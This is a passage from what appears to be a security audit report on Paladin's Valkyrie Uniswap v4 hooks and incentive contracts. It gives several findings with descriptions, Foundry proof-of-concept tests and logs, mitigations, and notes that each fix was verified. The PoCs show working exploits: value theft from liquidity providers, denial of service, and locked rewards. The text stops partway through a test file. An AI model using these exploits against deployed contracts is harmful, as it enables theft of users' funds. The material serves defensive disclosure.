    HookEnabledSwapRouter.TestSettings memory settings =
        HookEnabledSwapRouter.TestSettings({ takeClaims: false, settleUsingBurn: false });

    router.swap(key, params, settings, ZERO_BYTES);

    vm.expectRevert();
    fullRange.addLiquidity(
        FullRangeHook.AddLiquidityParams(
            key.currency0, key.currency1, 3000, 100000 ether, 100000 ether, 0, 0, address(this),
            ↪  MAX_DEADLINE
        )
    );
}
```

In the scenario where a pool is initialized outside of the intended range, manipulation of the liquidity calculations can be achieved without resulting in a DoS, meaning attackers can steal value from other liquidity providers:

```
function test_addLiquidityFullRangePoC() public {
    token1 = new MockERC20("token1", "T1", 6);
    (token0, token1) = token0 > token1 ? (token1, token0) : (token0, token1);

    PoolKey memory newKey = PoolKey(Currency.wrap(address(token0)), Currency.wrap(address(token1)),
    ↪  3000, 60, IHooks(hookAddress2));
    // the pool is initialized out of the intended range, either accidentally or by an attacker
    ↪  front-running bob
    manager.initialize(newKey, TickMath.getSqrtPriceAtTick(MIN_TICK - 1));

    uint256 mintAmount0 = 10_000_000 * 10 ** token0.decimals();
    uint256 mintAmount1 = 10_000_000 * 10 ** token1.decimals();

    address alice = makeAddr("alice");
    token0.mint(alice, mintAmount0);
    token1.mint(alice, mintAmount1);
    vm.startPrank(alice);
    token0.approve(hookAddress2, type(uint256).max);
    token1.approve(hookAddress2, type(uint256).max);
    vm.stopPrank();

    address bob = makeAddr("bob");
    token0.mint(bob, mintAmount0);
    token1.mint(bob, mintAmount1);
    vm.startPrank(bob);
    token0.approve(hookAddress2, type(uint256).max);
    token1.approve(hookAddress2, type(uint256).max);
    token0.approve(address(router), type(uint256).max);
    token1.approve(address(router), type(uint256).max);
    vm.stopPrank();

    uint160 minSqrtPrice = TickMath.getSqrtPriceAtTick(MIN_TICK);
    uint160 maxSqrtPrice = TickMath.getSqrtPriceAtTick(MAX_TICK);

    // bob adds liquidity while the price is outside the intended range
    uint256 amount0Bob = 1_000_000 * 10 ** token0.decimals();
    uint256 amount1Bob = 1_000_000 * 10 ** token1.decimals();

    FullRangeHook.AddLiquidityParams memory addLiquidityParamsBob = FullRangeHook.AddLiquidityParams(
        newKey.currency0, newKey.currency1, 3000, amount0Bob, amount1Bob, 0, 0, bob, MAX_DEADLINE
    );

    console.log("bob adding liquidity");
    uint256 amount0BobBefore = token0.balanceOf(bob);
    uint256 amount1BobBefore = token1.balanceOf(bob);
    vm.prank(bob);
    uint128 addedLiquidityBob = fullRange2.addLiquidity(addLiquidityParamsBob);
    console.log("added liquidity bob: %s ", uint256(addedLiquidityBob));
    console.log("token0 diff bob add liquidity: %s", amount0BobBefore - token0.balanceOf(bob));
    console.log("token1 diff bob add liquidity: %s", amount1BobBefore - token1.balanceOf(bob));

    (, address liquidityToken) = fullRange2.poolInfo(newKey.toId());
    uint256 liquidityTokenBalBob = IncentivizedERC20(liquidityToken).balanceOf(bob);
    console.log("liquidityTokenBal bob: %s", liquidityTokenBalBob);

    // alice moves price back into range
    IPoolManager.SwapParams memory params =
        IPoolManager.SwapParams({ zeroForOne: false, amountSpecified: -int256(uint256(1_000 * 10 **
        ↪  token1.decimals())), sqrtPriceLimitX96: maxSqrtPrice });
    HookEnabledSwapRouter.TestSettings memory settings =
        HookEnabledSwapRouter.TestSettings({ takeClaims: false, settleUsingBurn: false });
```

```
    vm.prank(alice);
    router.swap(newKey, params, settings, ZERO_BYTES);

    // alice adds liquidity
    uint256 amount0Alice = 1_000_000 * 10 ** token0.decimals();
    uint256 amount1Alice = 1_000_000 * 10 ** token1.decimals();

    FullRangeHook.AddLiquidityParams memory addLiquidityParamsAlice = FullRangeHook.AddLiquidityParams(
        newKey.currency0, newKey.currency1, 3000, amount0Alice, amount1Alice, 0, 0, alice, MAX_DEADLINE
    );
    console.log("alice adding liquidity");
    uint256 amount0AliceBefore = token0.balanceOf(alice);
    uint256 amount1AliceBefore = token1.balanceOf(alice);
    (uint160 sqrtPriceX96,,,) = manager.getSlot0(newKey.toId());
    assertTrue(sqrtPriceX96 > minSqrtPrice && sqrtPriceX96 < maxSqrtPrice);
    uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts(
        sqrtPriceX96,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        amount0Alice,
        amount1Alice
    );
    console.log("calculated liquidity: %s", uint256(liquidity));

    vm.prank(alice);
    uint128 addedLiquidityAlice = fullRange2.addLiquidity(addLiquidityParamsAlice);
    console.log("added liquidity alice: %s ", uint256(addedLiquidityAlice));

    uint256 liquidityTokenBalAlice = IncentivizedERC20(liquidityToken).balanceOf(alice);
    console.log("liquidityTokenBal alice: %s", liquidityTokenBalAlice);
    console.log("token0 diff alice add liquidity: %s", amount0AliceBefore - token0.balanceOf(alice));
    console.log("token1 diff alice add liquidity: %s", amount1AliceBefore - token1.balanceOf(alice));
}
```

Output:

```
Ran 1 test for test/FullRangeHook.t.sol:TestFullRangeHook
[PASS] test_addLiquidityFullRangePoC() (gas: 3292884)
Logs:
  bob adding liquidity
  added liquidity bob: 54353
  token0 diff bob add liquidity: 999994954645167564999855
  token1 diff bob add liquidity: 0
  liquidityTokenBal bob: 53353
  alice adding liquidity
  calculated liquidity: 54516555
  added liquidity alice: 54516555
  liquidityTokenBal alice: 66258319
  token0 diff alice add liquidity: 2439
  token1 diff alice add liquidity: 1219027186039
```

As can be seen above, Alice receives significantly more liquidity tokens for far fewer underlying pool tokens.

Impact: Pools configured with the `FullRangeHook` can be disabled by manipulation of the price to be outside the intended range. This can also result in financial loss for liquidity providers.

Recommended Mitigation: Prevent the price from being moved outside of the intended tick range when swapping with the `FullRangeHook`:

```
    function afterSwap(address, PoolKey calldata key, IPoolManager.SwapParams calldata, BalanceDelta,
    ↪  bytes calldata)
```

```
        external
        override
        onlyPoolManager
        returns (bytes4, int128)
    {
        PoolId poolId = key.toId();

++      (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);
++      require(sqrtPriceX96 > TickMath.getSqrtPriceAtTick(MIN_TICK) && sqrtPriceX96 <
↪   TickMath.getSqrtPriceAtTick(MAX_TICK), "Outside tick range");

        if (address(incentiveManager) != address(0)) {
            incentiveManager.notifySwap(poolId, poolInfo[poolId].liquidityToken);
        }

        return (FullRangeHook.afterSwap.selector, 0);
    }
```

While constraining the price movement in this way works well for the `FullRangeHook`, given that this is the intended behavior and all liquidity providers will be subject to the same liquidity computation with the same decimal precision, the nature of `MultiRangeHook` makes mitigation more challenging. In this case, it is the intended behavior that the price can move in and out of the different price ranges. The existing slippage validation should provide sufficient protection, so long as it is correctly configured by the sender, since malicious front-running of liquidity addition that causes the square root price to cross one of the tick limits will result in single sided liquidity being provided. Thus, the expectation of providing liquidity in both tokens will not hold and a non-zero minimum amount parameter will not pass the validation.

Paladin: Fixed by commit abbb673.

Cyfrin: Verified. `FullRangeHook::afterSwap` now prevents the square root price from exiting the intended tick range.

7.2.2 Reward distribution can be blocked by an initial distribution of long duration

Description: Given that distribution of rewards is permissionless, anyone can distribute any arbitrary amount of tokens with a duration greater than 1 week. If there is an existing distribution active for a given token and additional tokens are attempted to be distributed, the duration will be added to the end date; however, this logic can result in a complete DoS if the initial duration is already set close to overflowing `type(uint32).max`.

```
function depositRewards(IncentivizedPoolId id, address token, uint256 amount, uint256 duration)
    external
    override
    nonReentrant
{
    ...
    // Update the reward distribution parameters
    uint32 endTimestampCache = _state.endTimestamp;
    if (endTimestampCache < block.timestamp) {
        ...
    } else {
        // Calculates the remianing duration left for the current distribution
        uint256 remainingDuration = endTimestampCache - block.timestamp;
        if (remainingDuration + duration < MIN_DURATION) revert InvalidDuration();
        // And calculates the new duration
        uint256 newDuration = remainingDuration + duration;

        // Calculates the leftover rewards from the current distribution
        uint96 ratePerSecCache = _state.ratePerSec;
        uint256 leftoverRewards = ratePerSecCache * remainingDuration;

        // Calculates the new rate
```

```
        uint256 newRate = (amount + leftoverRewards) / newDuration;
        if (newRate < ratePerSecCache) revert CannotReduceRate();

        // Stores the new reward distribution parameters
        _state.ratePerSec = newRate.toUint96();
        _state.endTimestamp = (block.timestamp + newDuration).toUint32();
        _state.lastUpdateTime = (block.timestamp).toUint32();
    }
    ...
}
```

Impact: Attackers can freely DoS the distribution of any token by simply depositing 1 wei of the token and being the first distributor.

Proof of Concept: The following test should be placed in `BasicIncentiveLogic.t.sol`:

```
    function test_DoSTokenIncentiveDistribution() public {
        PoolId poolKey;
        IncentivizedPoolId poolId;
        address lpToken = address(7);

        poolKey = createPoolKey(address(1), address(2), 3000).toId();
        poolId = IncentivizedPoolKey({ id: poolKey, lpToken: lpToken }).toId();

        manager.setListedPool(poolId, true);

        address[] memory systems = new address[](1);
        systems[0] = address(logic);

        manager.notifyAddLiquidty(systems, poolKey, lpToken, user1, int256(100 * 10 ** 18));

        uint256 amount = 1;
        uint256 duration = type(uint32).max - 1 - block.timestamp;

        logic.depositRewards(poolId, address(token0), amount, duration);

        skip(3 days);

        // If someone tries to deposit more tokens, the duration will overflow
        vm.expectRevert();
        logic.depositRewards(poolId, address(token0), 100 * 10 ** 18, 1 weeks);
    }
```

Recommended Mitigation: Consider constraining the duration to a maximum length.

Paladin: Fixed by commit c3298fa.

Cyfrin: Verified. A maximum incentive distribution duration has been implemented.

7.2.3 Swaps performed in pools with zero liquidity can cause a complete DoS of `FullRangeHook`

Description: The `FullRangeHook` is characterized by rebalancing after every swap executed in the pool:

```
function _rebalance(PoolKey memory key) public {
    PoolId poolId = key.toId();
    // Remove all the liquidity from the Pool
    (BalanceDelta balanceDelta,) = poolManager.modifyLiquidity(
        key,
        IPoolManager.ModifyLiquidityParams({
            tickLower: MIN_TICK,
            tickUpper: MAX_TICK,
            liquidityDelta: -(poolManager.getLiquidity(poolId).toInt256()),
```

```
            salt: 0
        }),
        ZERO_BYTES
    );
    ...
}
```

It first removes all the liquidity deposited to the pool for later price adjusting; however, this assumes that there is already liquidity in the position to be removed. Hence, if there is none then it will revert due to the Uniswap following implementation that is invoked within `Pool::modifyLiquidity`:

```
library Position {
    ...
    function update(
        State storage self,
        int128 liquidityDelta,
        uint256 feeGrowthInside0X128,
        uint256 feeGrowthInside1X128
    ) internal returns (uint256 feesOwed0, uint256 feesOwed1) {
        uint128 liquidity = self.liquidity;

        if (liquidityDelta == 0) {
            // disallow pokes for 0 liquidity positions
@>          if (liquidity == 0) CannotUpdateEmptyPosition.selector.revertWith();
        } else {
            self.liquidity = LiquidityMath.addDelta(liquidity, liquidityDelta);
        }
        ...
    }
}
```

Anyone could therefore execute a single swap immediately after initialization to DoS the pool because this would set the `hasAccruedFees` state to true. The first addition of liquidity would then execute the `_rebalance()` function with 0 liquidity in the position, resulting in a revert.

```
function _unlockCallback(bytes calldata rawData) internal override returns (bytes memory) {
    ...
    // Rebalance the Pool if the Pool had swaps to adapt to new price
    if (pool.hasAccruedFees) {
        pool.hasAccruedFees = false;
        _rebalance(data.key);
    }
   ...
}
```

Impact: Anyone can DoS any pool initialized with the `FullRangeHook` simply by executing a swap right after initialization.

Proof of Concept: To run this test, we have to comment this line of code on `HookEnabledSwapRouter`:

```
function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
    ...

    // Make sure youve added liquidity to the test pool!
    // @audit disabled this for testing purposes
    // if (BalanceDelta.unwrap(delta) == 0) revert NoSwapOccurred();

    ...
}
```

The following test should be placed in `FullRangeHook.t.sol`:

```
function test_FullRangeDoSDueToSwapWithNoLiquidity(uint256 token0Amount, uint256 token1Amount) public {
    // Constraining a minimum of 10000 to compute a liquidity above the 1000 minimum
    token0Amount = bound(token0Amount, 10000, key.currency0.balanceOfSelf());
    token1Amount = bound(token1Amount, 10000, key.currency1.balanceOfSelf());

    manager.initialize(key, SQRT_PRICE_1_1);

    IPoolManager.SwapParams memory params;
    HookEnabledSwapRouter.TestSettings memory settings;

    params =
        IPoolManager.SwapParams({ zeroForOne: true, amountSpecified: int256(- 1), sqrtPriceLimitX96:
        ↪  79228162514264337593543950330 });
    settings =
        HookEnabledSwapRouter.TestSettings({ takeClaims: false, settleUsingBurn: false });

    router.swap(key, params, settings, ZERO_BYTES);

    (bool hasAccruedFees,) = fullRange.poolInfo(id);
    assertEq(hasAccruedFees, true);

    vm.expectRevert();
    fullRange.addLiquidity(
        FullRangeHook.AddLiquidityParams(
            key.currency0, key.currency1, 3000, token0Amount, token1Amount, 0, 0, address(this),
            ↪  MAX_DEADLINE
        )
    );
}
```

Here, 1 wei was swapped but in reality any amount can be used to DoS the pool.

The following line of code in `HookEnabledSwapRouter` should be commented out to successfully run the test:

```
function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
    ...
    // Make sure youve added liquidity to the test pool!
    // @audit disabled this for testing purposes
    // if (BalanceDelta.unwrap(delta) == 0) revert NoSwapOccurred();
    ...
}
```

This is just a helper function to execute swaps in the tests but prevents swaps of 0 delta.

Recommended Mitigation: Prevent swaps from being made in the pool when there is no liquidity to prevent the square root price from being moved arbitrarily:

```
    function beforeSwap(address, PoolKey calldata key, IPoolManager.SwapParams calldata, bytes calldata)
        external
        override
        onlyPoolManager
        returns (bytes4, BeforeSwapDelta, uint24)
    {
--      PoolInfo storage pool = poolInfo[key.toId()];
++      PoolId poolId = key.toId();
++      PoolInfo storage pool = poolInfo[poolId];
++      require(poolManager.getLiquidity(poolId) > 0);

        if (!pool.hasAccruedFees) {
            pool.hasAccruedFees = true;
        }
```

```
        return (FullRangeHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);
    }
```

Alternatively, consider atomically adding the minimum liquidity when initializing the pool.

Paladin: Fixed by commit 46fa611.

Cyfrin: Verified. `FullRangeHook::beforeSwap` now prevents swaps from being performed against zero liquidity.

7.2.4 Swaps are not possible on pools registered with Bunni due to incorrect access control in `ValkyrieHooklet::afterSwap`

Description: `ValkyrieHooklet::afterSwap` has the `onlyBunniHub` modifier applied; however, this hook is invoked from `BunniHook` (using the `BunniHookLogic` library) and not `BunniHub` (using the `BunniHubLogic` library). As such, this will result in a DoS of swap functionality for pools registered with Bunni and configured with the `ValkyrieHooklet`.

```
function afterSwap(
    address,
    PoolKey calldata key,
    IPoolManager.SwapParams calldata,
    SwapReturnData calldata
) external override onlyBunniHub returns (bytes4 selector) {
    PoolId poolId = key.toId();
    if (address(incentiveManager) != address(0)) {
        incentiveManager.notifySwap(poolId, bunniTokens[poolId]);
    }
    return ValkyrieHooklet.afterSwap.selector;
}
```

Related to this, `ValkyrieHooklet::beforeSwap` while a no-op hook is the only non-view function missing access control and should mirror the correct access control applied to `ValkyrieHooklet::afterSwap`.

Impact: While the incentive logic is not directly affected, swaps will not be possible for pools registered with Bunni and configured with the `ValkyrieHooklet`, therefore rendering it useless.

Proof of Concept: The current `MockBunniHub` includes the following function:

```
function afterDeposit(
    address hooklet,
    address caller,
    IBunniHub.DepositParams calldata params,
    IHooklet.DepositReturnData calldata returnData
) external {
    ValkyrieHooklet(hooklet).afterDeposit(
        caller,
        params,
        returnData
    );
}
```

Therefore, `test_afterSwap()` in `ValkyrieHooklet.t.sol` does not revert; however, this issue will become apparent with a test failure when the test suite is updated to use the actual Bunni v2 codebase.

Recommended Mitigation: Apply the correct `onlyBunniHook` modifier to both `ValkyrieHooklet::afterSwap` and `ValkyrieHooklet::beforeSwap`.

Paladin: Fixed by commit 333f26b.

Cyfrin: Verified. `ValkyrieHooklet::afterSwap` now checks the correct caller using the newly-added `onlyHook` modifier. Note that the `bunniHook` NatSpec has been erroneously copied from `bunniHub`.

Paladin: In the latest version of the branch, the Natspec is `/// @dev Modifier to check that the caller is the BunniHook`.

Cyfrin: Acknowledged.

7.2.5 Missing user liquidity sync in `TimeWeightedIncentiveLogic::_updateAllUserState` can result in rewards becoming locked

Description: Within the incentive logic contracts, liquidity synchronization is a necessary step that must be performed before executing any computation based on liquidity values in storage. In the case of total liquidity within `TimeWeightedIncentiveLogic`, an automatic sync is performed upon depositing rewards:

```
function _depositRewards(
    IncentivizedPoolId id,
    address token,
    uint256 amount,
    uint256 duration,
    uint256 requiredDuration,
    RewardType rewardType
) internal {
    ...
    // Sync pool total liquidity if not already done
    if(!poolSynced[id]) {
        _syncPoolLiquidity(id);
        poolSynced[id] = true;
    }

    emit RewardsDeposited(id, token, amount, duration);
}
```

In contrast, user liquidity synchronization is not currently performed anywhere in `TimeWeightedIncentiveLogic`. The base `BaseIncentiveLogic::syncUser` method is exposed for a caller to execute the synchronization manually; however, in other logic contracts this user liquidity synchronization is performed upon executing the `BaseIncentiveLogic::_updateAllUserState`. Since `TimeWeightedIncentiveLogic` overrides this method without including the internal call, the user liquidity sync is missing:

```
function _updateAllUserState(IncentivizedPoolId id, address account) internal override {
    address[] memory _tokens = poolRewards[id];
    uint256 _length = _tokens.length;
    for (uint256 i; i < _length; i++) {
        _updateRewardState(id, _tokens[i], account);
    }
    _updateCheckpoints(id, account);
}
```

This can lead to a loss of funds for the user if they does not manually sync their liquidity before claiming any rewards.

Impact: It is possible for users to lose funds that will become stuck in the contract. This can be avoided by manually syncing user liquidity manually; however, it is worth mentioning that the other incentive logic contracts do this automatically, and so it is reasonable for users to expect the same to apply to `TimeWeightedIncentiveLogic`.

Proof of Concept: The following test shows that a user receives half of the rewards to which they are entitled when they do not manually sync their liquidity before claiming:

```
function test_MissingUserSync() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    address[] memory emptySystems = new address[](0);
```

```
    IncentivizedPoolId incentivizedId = manager.getIncentivizedKey(pool1, lpToken1);

    manager.setListedPool(incentivizedId, true);

    // Register 100 tokens for the user1 for an empty logic
    // Manager.TotalLiquidity = 100
    // Manager.User1Liquidity = 100
    manager.notifyAddLiquidty(emptySystems, pool1, lpToken1, user1, int256(100 ether));

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    // 1000 tokens will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    // Distributing rewards triggers total liquidity sync
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 0
    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    // Register now 100 more tokens for the user1 once the new logic is already registered
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 100
    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    // Skip a lot of time to avoid the time weighted feature
    skip(10000000 weeks);

    uint256 tokensEarned = logic.claim(incentivizedId, address(token0), user1, user1);

    console.log(tokensEarned);
}
```

Output:

```
[PASS] test_MissingUserSync() (gas: 525165)
Logs:
  499999974999958531200
```

When the user manually syncs their liquidity before claiming, they receive the full entitled amount:

```
function test_MissingUserSync() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    address[] memory emptySystems = new address[](0);
    IncentivizedPoolId incentivizedId = manager.getIncentivizedKey(pool1, lpToken1);

    manager.setListedPool(incentivizedId, true);

    // Register 100 tokens for the user1 for an empty logic
    // Manager.TotalLiquidity = 100
    // Manager.User1Liquidity = 100
    manager.notifyAddLiquidty(emptySystems, pool1, lpToken1, user1, int256(100 ether));

    address[] memory systems = new address[](1);
```

```
    systems[0] = address(logic);

    // 1000 tokens will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    // Distributing rewards triggers total liquidity sync
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 0
    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    // Register now 100 more tokens for the user1 once the new logic is already registered
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 100
    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    // Skip a lot of time to avoid the time weighted feature
    skip(10000000 weeks);

    // Sync user's liquidity
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 200
    logic.syncUser(incentivizedId, user1);

    uint256 tokensEarned = logic.claim(incentivizedId, address(token0), user1, user1);

    console.log(tokensEarned);
}
```

Output:

```
[PASS] test_MissingUserSync() (gas: 527587)
Logs:
  99999994999917062400
```

Notice that the funds that were not claimed are stuck in the contract and the user can not claim them even with a subsequent synchronization:

```
function test_MissingUserSync() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    address[] memory emptySystems = new address[](0);
    IncentivizedPoolId incentivizedId = manager.getIncentivizedKey(pool1, lpToken1);

    manager.setListedPool(incentivizedId, true);

    // Register 100 tokens for the user1 for an empty logic
    // Manager.TotalLiquidity = 100
    // Manager.User1Liquidity = 100
    manager.notifyAddLiquidty(emptySystems, pool1, lpToken1, user1, int256(100 ether));

    address[] memory systems = new address[](1);
    systems[0] = address(logic);
```

```
    // 1000 tokens will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    // Distributing rewards triggers total liquidity sync
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 0
    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    // Register now 100 more tokens for the user1 once the new logic is already registered
    // Manager.TotalLiquidity = 200
    // Manager.User1Liquidity = 200
    // Logic.TotalLiquidity = 200
    // Logic.User1Liquidity = 100
    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    // Skip a lot of time to avoid the time weighted feature
    skip(10000000 weeks);

    uint256 tokensEarned1 = logic.claim(incentivizedId, address(token0), user1, user1);
    logic.syncUser(incentivizedId, user1);
    uint256 tokensEarned2 = logic.claim(incentivizedId, address(token0), user1, user1);

    console.log(tokensEarned1);
    console.log(tokensEarned2);
}
```

Output:

```
[PASS] test_MissingUserSync() (gas: 534424)
Logs:
499999974999958531200
0
```

Recommended Mitigation: Execute the automatic user liquidity sync in the `_updateAllUserState` function:

```
function _updateAllUserState(IncentivizedPoolId id, address account) internal override {
++      if(!userLiquiditySynced[id][account]) {
++          _syncUserLiquidity(id, account);
++          userLiquiditySynced[id][account] = true;
++      }

    address[] memory _tokens = poolRewards[id];
    uint256 _length = _tokens.length;
    for (uint256 i; i < _length; i++) {
        _updateRewardState(id, _tokens[i], account);
    }
    _updateCheckpoints(id, account);
}
```

Paladin: Fixed by commit 10383a1.

Cyfrin: Verified. The missing sync has been added to `TimeWeightedIncentiveLogic::_updateAllUserState`.

7.2.6 Denial of service for swaps on `MultiRangeHook` pools

Description: When a new range is created in `MultiRangeHook`, a new `IncentivizedERC20` LP token is registered and added to the array of tokens corresponding to the specific pool:

```
    function createRange(PoolKey calldata key, RangeKey calldata rangeKey) external {
        ...
        address lpToken = address(new IncentivizedERC20(tokenSymbol, tokenSymbol, poolId));

        // Store the Range and LP token infos
        rangeLpToken[rangeId] = lpToken;
        validLpToken[lpToken] = true;
@>      poolLpTokens[poolId].push(lpToken);
        ...
    }
```

Since the action is permissionless, this means that anyone can create an unlimited number of ranges to make the `poolLpTokens` array to grow without bound. When a genuine user then attempts to utilize the pool to make a swap, the `afterSwap()` hook function is triggered:

```
function afterSwap(address, PoolKey calldata key, IPoolManager.SwapParams calldata, BalanceDelta, bytes
↪   calldata)
    external
    override
    onlyPoolManager
    returns (bytes4, int128)
{
    PoolId poolId = key.toId();

    if (address(incentiveManager) != address(0)) {
        incentiveManager.notifySwap(poolId, poolLpTokens[poolId]);
    }

    return (MultiRangeHook.afterSwap.selector, 0);
}
```

This function notifies the incentive manager, passing the pool id and the array of LP token addresses corresponding to all the created ranges. This notification therefore triggers a loop over all the addresses to notify each registered logic of the swap:

```
function notifySwap(PoolId id, address[] calldata lpTokens) external onlyAllowedHooks {
    // @gas cheaper not to cache length for calldata array input
    for (uint256 i; i < lpTokens.length;) {
        _notifySwap(id, lpTokens[i]);
        unchecked {
            ++i;
        }
    }
}

function _notifySwap(PoolId id, address lpToken) internal {
    // Convert PoolId to IncentivizedPoolId
    IncentivizedPoolId _id = IncentivizedPoolKey({ id: id, lpToken: lpToken }).toId();
    if (poolLinkedHook[_id] != msg.sender) revert NotLinkedHook();
    // Get the list of Incentive Systems linked to the pool
    uint256[] memory _systems = _getPoolIncentiveSystemIndexes(_id);

    uint256 length = _systems.length;
    if (length > 0) {
        for (uint256 i; i < length;) {
            // @gas cheaper to read them both at same time using this style
```

```
            IncentiveSystem storage sRef = incentiveSystems[_systems[i]];
            (address system, bool updateOnSwap) = (sRef.system, sRef.updateOnSwap);
            if (updateOnSwap) {
                // Notify the Incentive Logic of the swap
                IIncentiveLogic(system).notifySwap(_id);
            }
            unchecked {
                ++i;
            }
        }
    }
}
```

If this array is too large, execution of this function will fail due to an out-of-gas error, preventing any swap from occurring in the pool.

Impact: A malicious user can prevent swaps from being performed on a pool configured with the `MultiRangeHook`.

Recommended Mitigation: Consider making range creation be a permissioned action and constrained to some maximum amount that can be created to prevent the array from growing without limit.

Paladin: Fixed by commit `7af7783`. We decided not to make the method to create a range permissioned, knowing there is a case where a malicious actor creates all the possible ranges for a Pool, blocking others to create their ranges. In such case, another version of the `MultiRangeHook.sol` with more control or an allowlist to create ranges could be deployed and plugged into the `IncentiveManager`.

Cyfrin: Verified. A maximum of five ranges per pool has been enforced.

7.2.7 Rewards can be stolen when `IncentivizedERC20` tokens are recursively provided as liquidity

Description: By virtue of the composable nature of DeFi, it is common to have wrapped liquidity tokens that encapsulate some form of yield or other tokenized incentives in a manner similar to Valkyrie. With the ubiquity of LRTs and other forms of re-hypothecation, such as that enabled by Bunni, this incentivized liquidity is often recursively provided as liquidity when paired with another token.

In this case, an incentivised liquidity token provided to another pool can have its rewards drained by any address, even if they aren't the original depositor. When added as liquidity to another pool, the `PoolManager` pulls funds from the caller when settling their deltas:

```
function settle(Currency currency, IPoolManager manager, address payer, uint256 amount, bool burn)
↪   internal {
    ...
    } else {
        manager.sync(currency);
        if (payer != address(this)) {
            IERC20Minimal(Currency.unwrap(currency)).transferFrom(payer, address(manager), amount);
        } else {
            IERC20Minimal(Currency.unwrap(currency)).transfer(address(manager), amount);
        }
        manager.settle();
    }
}
```

This in turn causes the `notifyTransfer()` hook to be invoked:

```
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
    ITokenizedHook(hook).notifyTransfer(poolId, from, to, amount);

    return super.transferFrom(from, to, amount);
}
```

which debits the sender and credits the `PoolManager`:

```
poolUserLiquidity[_id][from] -= amount;
poolUserLiquidity[_id][to] += amount;
```

The attack is subsequently achieved by claiming incentives on behalf of the Uniswap v4 `PoolManager`. This creates a positive delta for the reward token which can be taken to return the transient reserves to zero and settle the delta before the unlock callback ends execution.

Impact: Rewards can be stolen when `IncentivizedERC20` tokens are recursively provided as liquidity.

Proof of Concept: A new file named `E2E.t.sol` should be created with the following contents:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import { Test } from "forge-std/Test.sol";
import { BasicIncentiveLogic } from "../src/incentives/BasicIncentiveLogic.sol";
import { Deployers } from "@uniswap/v4-core/test/utils/Deployers.sol";
import { MockERC20 } from "solmate/src/test/utils/mocks/MockERC20.sol";
import { CurrencyLibrary, Currency } from "@uniswap/v4-core/src/types/Currency.sol";
import { CurrencySettler } from "@uniswap/v4-core/test/utils/CurrencySettler.sol";
import { PoolId, PoolIdLibrary } from "@uniswap/v4-core/src/types/PoolId.sol";
import {
    IncentivizedPoolId, IncentivizedPoolKey, IncentivizedPoolIdLibrary
} from "../src/types/IncentivizedPoolKey.sol";
import { IncentivizedERC20 } from "../src/libraries/IncentivizedERC20.sol";
import { IPoolManager } from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import { PoolKey } from "@uniswap/v4-core/src/types/PoolKey.sol";
import { Hooks } from "@uniswap/v4-core/src/libraries/Hooks.sol";
import { IHooks } from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import { FullRangeHook } from "../src/hooks/FullRangeHook.sol";
import { FullRangeHookImpl } from "./implementations/FullRangeHookImpl.sol";
import { IIncentiveManager } from "../src/interfaces/IIncentiveManager.sol";
import { IncentiveManager } from "../src/incentives/IncentiveManager.sol";
import { TickMath } from "@uniswap/v4-core/src/libraries/TickMath.sol";
import { LiquidityAmounts } from "../src/libraries/LiquidityAmounts.sol";
import { StateLibrary } from "@uniswap/v4-core/src/libraries/StateLibrary.sol";
import {TransientStateLibrary} from "@uniswap/v4-core/src/libraries/TransientStateLibrary.sol";

import "forge-std/console.sol";

contract E2E is Test, Deployers {
    using PoolIdLibrary for PoolKey;
    using IncentivizedPoolIdLibrary for IncentivizedPoolKey;
    using CurrencyLibrary for Currency;
    using CurrencySettler for Currency;
    using StateLibrary for IPoolManager;
    using TransientStateLibrary for IPoolManager;

    uint256 constant MAX_DEADLINE = 12329839823;
    /// @dev Min tick for full range with tick spacing of 60
    int24 internal constant MIN_TICK = -887220;
    /// @dev Max tick for full range with tick spacing of 60
    int24 internal constant MAX_TICK = -MIN_TICK;
    int24 constant TICK_SPACING = 60;
    uint16 constant LOCKED_LIQUIDITY = 1000;
    uint256 constant BASE_FEE = 500;
    uint256 constant FEE_DELTA = 0.1 ether;

    event NewIncentiveLogic(uint256 indexed index, address indexed logic);
    event Deposited(address indexed account, PoolId indexed poolId, uint256 liquidity);
```

```
    FullRangeHookImpl fullRange = FullRangeHookImpl(
        address(
            uint160(
                Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
                    | Hooks.AFTER_SWAP_FLAG
            )
        )
    );
    address hookAddress;

    IncentiveManager incentiveManager;

    MockERC20 token0;
    MockERC20 token1;

    PoolId id;

